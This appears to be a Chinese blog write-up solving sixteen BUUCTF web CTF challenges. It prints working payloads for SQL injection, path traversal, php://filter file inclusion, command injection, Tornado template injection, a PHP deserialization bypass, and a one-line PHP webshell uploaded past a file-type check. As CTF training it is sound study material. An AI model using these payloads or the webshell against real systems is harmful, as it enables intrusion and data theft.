BUUCTF-WEB(1-16)

BUUCTF-WEB(1-16)

1.[HCTF 2018]WarmUp

​ 根据点开靶机时的一个提示:代码审计,可知主要考察代码审计,在点开靶机之后,出现了一个滑稽表情,右键检查网页源码,发现在图片的上方有个注释 ,<!--source.php-->感觉像是个有用的信息,于是在网页的链接后边加上/source.php页面上出现了代码

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {					//is_string() 函数用于检测变量是否是字符串
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {							//in_array() 函数搜索数组中是否存在指定的值
                return true;
            }

            $_page = mb_substr(										   //mb_substr() 函数返回字符串的一部分
                $page,
                0,
                mb_strpos($page . '?', '?')				//mb_strpos — 查找字符串在另一个字符串中首次出现的位置
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

之后看到第7行和第40代码,尝试在网页链接后加上?file=hint.php于是在界面最下方的图片变为了这一句话

在这里插入图片描述

这个提示信息,让我大胆假设一下他说的是对的,flag在ffffllllaaaagggg这个文件里,然后仔细观察第40行的函数,感觉应该和这个include关系密切,估计就是要通过这个来进入ffffllllaaaagggg文件,所以最关键的一步是通过第42行,来达到获取到ffffllllaaaagggg这个文件名,所以接下来就是要如何通过checkFile函数,所以如何绕过第一个截取函数

$_page = mb_substr(										   //mb_substr() 函数返回字符串的一部分
                $page,
                0,
                mb_strpos($page . '?', '?')				//mb_strpos — 查找字符串在另一个字符串中首次出现的位置
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

现在假设payload为:file=source.php?/../ffffllllaaaagggg,经过mb_strpossource.php?/../ffffllllaaaagggg?mb_strpos这个函数只返回首次出现的位置,所以会返回第一个?的位置,而mb_substr截取函数,从0开始截取一直到第一个?的位置,截取内容为source.php,恰好能与白名单中的进行匹配,可以return true;,所以通过第一次截取进行绕过

然后通过hackbar执行payload:/source.php?file=source.php?/../ffffllllaaaagggg,发现没有显示flag,应该是不在这个目录,然后就不断加../最后得到flag,payload为:/source.php?file=source.php?/../../../../ffffllllaaaagggg


2.[强网杯 2019]随便注

点击靶机之后出现了一个网页。
在这里插入图片描述

检查网页源码后发现有一个注释<!-- sqlmap是没有灵魂的 -->说实话我挺想用sqlmap的但是毕竟是练题学知识,就自己动手试试

突破口应该在输入框,先点击一下提交看看

点击这个提交之后出现了一段代码

array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}

然后运用SQL注入的知识开始注入一下,没有可用信息,就随便输入个select *试一试,然后出现了一个提示return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

preg_match() 函数主要是用来进行过滤,i是指大小写不敏感,也就是大小写都会被过滤,然后测试SQL字符串的闭合,首先输入单引号'发现出现了报错信息,error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1,存在单引号闭合问题,再测试''双引号,没有报错,那就是只存在了单引号闭合问题,但是由于select被过滤,只能用其他的语句试一下:1';show databases;#结果如下:

在这里插入图片描述

查完了数据库,那就再查一下表1';show tables;#,结果如下

在这里插入图片描述

再查一下列:1';show columns fromwords;#1';show columns from1919810931114514;#,结果如下

在这里插入图片描述

得到flag,但是到这里就会出现问题,虽然我们已经得到了flag了,但是select被过滤了,而show命令又不能查看值。这就比较头疼了,不过如果仔细观察的话,一开始过滤的并没有alert 和 rename,我们已经知道了words是用来回显内容的,能不能我们把1919810931114514这个表更改名字为words,并增加相应的字段,使之回显原1919810931114514这个表的内容那,当然是可以的。

这道题我是百度了一下教程写的

payload:1';RENAME TABLEwordsTOwords1;RENAME TABLE1919810931114514TOwords;ALTER TABLEwordsCHANGEflagidVARCHAR(100) ;show columns from words;#

1' or '1'='1访问一下,便可以发现flag


3.[极客大挑战 2019]EasySQL

打开靶机之后,右键检查源码,没有任何其他的东西突破口应该是输入框

在这里插入图片描述

加之题目带有SQL,于是测试有无SQL语句闭合问题,输入1'报错,You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '1'' at line 1有闭合错误,所以尝试一下注入,万能密码输入'or 1=1#获得flag。


4.[极客大挑战 2019]Havefun

打开之后检查源码,看到这个

<!--
        $cat=$_GET['cat'];
        echo $cat;
        if($cat=='dog'){
            echo 'Syc{cat_cat_cat_cat}';
        }
        -->

然后在输入框中添加`?cat=dog,获得flag。


5.[SUCTF 2019]EasySQL

打开网页检查源码,什么也没有,只能从输入框下手

在这里插入图片描述

感觉和第一道题类似,于是尝试了一下,第一题的层叠注入,但是这道题不存在闭合问题,所以直接输入1;show databases;

显示Array ( [0] => 1 ) Array ( [0] => ctf ) Array ( [0] => ctftraining ) Array ( [0] => information_schema ) Array ( [0] => mysql ) Array ( [0] => performance_schema ) Array ( [0] => test )

再尝试输入1;show tables;显示Array ( [0] => 1 ) Array ( [0] => Flag )看到了flag,但是到查列的时候就不行了,输入show columns from flag;显示Nonono.所以只好百度了。

百度到两种payload:1;set sql_mode=PIPES_AS_CONCAT;select 1*,1 (这个是没有过滤*)

原理是:select $_GET['query'] || flag from flag

6.[ACTF2020 新生赛]Include

打开之后什么也没有,就一个链接,点击之后也是什么线索也没有,然后想到了题目名字,应该是文件包含,然后百度了一下这道题发现了一个思路,使用 “php://filter"伪协议” 来进行包含,然后构造payload:?file=php://filter/read=convert.base64-encode/resource=flag.php

当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,阻止其不执行。从而导致任意文件读取。

这里需要注意的是使用php://filter伪协议进行文件包含时,需要加上read=convert.base64-encode来对文件内容进行编码

发送请求得到base64编码后的flag.php文件源码:PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7ZjNlZmMyZDUtMGQ3ZC00NjMxLWIwODQtZTBhZjMyZDRkYTA1fQo=

解码后获得flag。


7.[极客大挑战 2019]Secret File

查看源码后发现有个链接<a id="master" href="./Archive_room.php" style="background-color:#000000;height:70px;width:200px;color:black;left:44%;cursor:default;">Oh! You found me</a>点击后跳转到了一个界面

在这里插入图片描述

点击之后显示

在这里插入图片描述

什么也没有,那就只好用bp抓包看看了

在这里插入图片描述

访问secr3t.php

在这里插入图片描述

看了一下代码这个需要用文件包含,同上一道题使用伪协议

payload为:secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php获得base64编码,解码取得flag


8.[极客大挑战 2019]LoveSQL

和第三题类似,直接用万能密码:1' or 1=1#

在这里插入图片描述

进入,这个感觉像是一个编码,但是不是,后来发现是考察SQL注入

然后在hackbar中输入check.php?username=admin' order by 3 %23&password=1(注意把#换成%23)这个存在,但是测试到4的时候就报错了。

所以共3个字段。用union查询测试注入点(回显点位):

/check.php?username=1' union select 1,2,3%23&password=1

在这里插入图片描述

得到回显点位为2和3,接下来查数据库名及版本:

/check.php?username=1' union select 1,database(),version()%23&password=1

在这里插入图片描述

查表:

/check.php?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1

在这里插入图片描述

查出两个表,试一下l0ve1ysq1这个表,查字段:

/check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'%23&password=1

在这里插入图片描述

查数据:

/check.php?username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1

在这里插入图片描述

获得flag。


9.[GXYCTF2019]Ping Ping Ping

在这里插入图片描述

这道题没思路,百度了一下,才发现是在url里写

为:?ip=127.0.0.1;ls; cat访问flag.php,发现空格被过滤

在这里插入图片描述

用%20代替也被过滤,用$IFS$9代替空格,过滤flag

直接不加空格过滤了flag

在这里插入图片描述

设置变量绕过字符串过滤

在注释里发现flag

在这里插入图片描述

最终为:?ip=127.0.0.1;a=g;cat$IFS$9fla$a.php;


10.[ACTF2020 新生赛]Exec

在这里插入图片描述

ping一下127.0.0.1,可以然后执行127.0.0.1;cat /flag;

获得flag


11.[护网杯 2018]easy_tornado

在这里插入图片描述

点击第一个链接得到flag in /fllllllllllllag第二个链接是:render第三个是:md5(cookie_secret+md5(filename))

直接进入/fllllllllllllag显示404: Not Found

百度了一下,得知这道题主要是python的一个web框架:Tornado,通过模板注入的方法

参考别人的WP

测试后发现还有一个error界面,格式为/error?msg=Error,怀疑存在服务端模板注入攻击 (SSTI)

尝试/error?msg={{datetime}}
在Tornado的前端页面模板中,datetime是指向python中datetime这个模块,Tornado提供了一些对象别名来快速访问对象,可以参考Tornado官方文档
在这里插入图片描述

通过查阅文档发现cookie_secret在Application对象settings属性中,还发现self.application.settings有一个别名

RequestHandler.settings
An alias for self.application.settings.

handler指向的处理当前这个页面的RequestHandler对象,
RequestHandler.settings指向self.application.settings,
因此handler.settings指向RequestHandler.application.settings。

构造payload获取cookie_secret

/error?msg={{handler.settings}}

在这里插入图片描述

'cookie_secret': 'cb123ca1-7de8-46bb-b90f-4dfd86aaa00c'

计算filehash值

import hashlib

def md5(s):
 md5 = hashlib.md5() 
 md5.update(s) 
 return md5.hexdigest()
 
def filehash():
 filename = '/fllllllllllllag'
 cookie_secret = 'cb123ca1-7de8-46bb-b90f-4dfd86aaa00c'
 print(md5(cookie_secret+md5(filename)))
 
if __name__ == '__main__':
 filehash()

payload:

file?filename=/fllllllllllllag&filehash=ab3362dfd60feabc355fa9f0844617c8

得到flag:flag{61f768ed-34d5-4db4-8283-8188f5b0e9ca}


12.[极客大挑战 2019]Knife

在这里插入图片描述

直接用蚁剑连接,根目录取得flag。


13.[RoarCTF 2019]Easy Calc

在这里插入图片描述

检查后发现

<!--I've set up WAF to ensure security.-->
<script>
    $('#calc').submit(function(){
        $.ajax({
            url:"calc.php?num="+encodeURIComponent($("#content").val()),
            type:'GET',
            success:function(data){
                $("#result").html(`<div class="alert alert-success">
            <strong>答案:</strong>${data}
            </div>`);
            },
            error:function(){
                alert("这啥?算不来!");
            }
        })
        return false;
    })
</script>

注意第5行,后来百度了一下用的是:PHP的字符串解析特性

进入calc.php出现了源代码

<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?>

可以看见过滤了一些特殊字符,然后eval执行我们的命令。

尝试输入字符:calc.php?num=a

在这里插入图片描述

输入时发现num只能输入数字,输入字符无法解析。只能传入数字和运算符号,不能传入字符(想办法绕过waf)

这里可以利用php的字符串解析特性绕过bypass:利用PHP的字符串解析特性Bypass
所以我们可以在num前加个空格绕过waf

scandir("/")获取目录,但是/被过滤,所以用chr(47)绕过

所以payload为:? num=1;var_dump(scandir(chr(47)))

在这里插入图片描述

找到flagg

获取flagg的payload为:calc.php? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

得到flag:在这里插入图片描述

也可以用http走私https://www.cnblogs.com/chrysanthemum/p/11757363.html


14.[极客大挑战 2019]Http

在带开一个界面之后没有发现任何有用的信息,于是在一一检查源码后发现

在这里插入图片描述

这里有一个跳转的链接,点击后出现
在这里插入图片描述

用bp拦截http://node3.buuoj.cn:25671/Secret.php,然后用BP修改header添加一行:

Referer:https://www.Sycsecret.com

在这里插入图片描述

返回的结果显示

在这里插入图片描述

然后在header继续添加

User-Agent: "Syclover"

获得No!!! you can only read this locally!!!提示

然后伪造IP,在header里添加

X-Forwarded-For:127.0.0.1

得到flag


15.[极客大挑战 2019]PHP

在这里插入图片描述

百度了一下,备份网站目录下有一个www.zip文件

直接在路径名里输入就能下载,解压后有个index.php文件,打开后发现

在这里插入图片描述

然后再观察class.php发现

<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>

分析代码可知在执行destruct方法的时候,如果用户名为admin,密码为100则可以输出flag的值。

但是wakeup方法会导致username成为guest,因此需要通过序列化字符串中对象的个数来绕过该方法。

所以payload为

import  requests

url ="http://7fbf6bbc-b50f-4ff7-93b3-8cef4b984c26.node3.buuoj.cn/"
html = requests.get(url+'?select=O:4:"Name":3:{s:14:"\0Name\0username";s:5:"admin";s:14:"\0Name\0password";i:100;}')
print(html.text)

或者是

index.php?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

参考文章:https://blog.csdn.net/weixin_44077544/article/details/103542260


16.[极客大挑战 2019]Upload

在这里插入图片描述

这道题一看就是文件上传

所以新建一个文件后缀为:.phtml,写入一句话木马

GIF89a
<script language="php">eval($_POST['shell']);</script> 

上传,bp拦截一下,将Content-Type改为image/jpeg

在这里插入图片描述

然后蚁剑链接

/upload/1.phtml

在这里插入图片描述

打开终端

cat /flag

得到flag。


  • 1
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值